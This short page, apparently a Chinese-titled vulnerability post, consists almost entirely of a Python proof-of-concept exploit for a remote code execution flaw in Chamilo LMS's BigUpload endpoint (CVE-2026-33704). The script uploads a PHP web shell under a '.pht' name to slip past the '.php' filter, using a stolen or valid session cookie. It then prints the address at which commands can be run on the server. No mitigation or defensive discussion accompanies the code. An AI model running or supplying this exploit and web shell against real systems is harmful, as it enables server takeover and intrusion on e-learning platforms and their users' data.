Chamilo LMS BigUpload远程代码执行漏洞 (CVE-2026-33704)

import requests def exploit(target_url, session_cookie): # The vulnerable endpoint upload_url = f"{target_url}/main/inc/lib/javascript/bigupload/inc/bigUpload.php" # PHP code to execute (e.g., a simple webshell) # 'system' function executes the 'cmd' parameter payload = "<?php if(isset($_GET['cmd'])) { system($_GET['cmd']); } ?>" # Prepare the data # 'key' parameter is used as the filename # Using .pht bypasses the .php filter files = { 'key': (None, 'exploit.pht'), 'file': (None, payload) } # Send the POST request with the authenticated session headers = { 'Cookie': f"PHPSESSID={session_cookie}" } response = requests.post(upload_url, files=files, headers=headers) if response.status_code == 200: print("[+] File uploaded successfully.") print(f"[+] Access your shell at: {target_url}/main/upload/exploit.pht?cmd=whoami") else: print("[-] Upload failed.") # Example usage # exploit("http://localhost", "valid_session_id")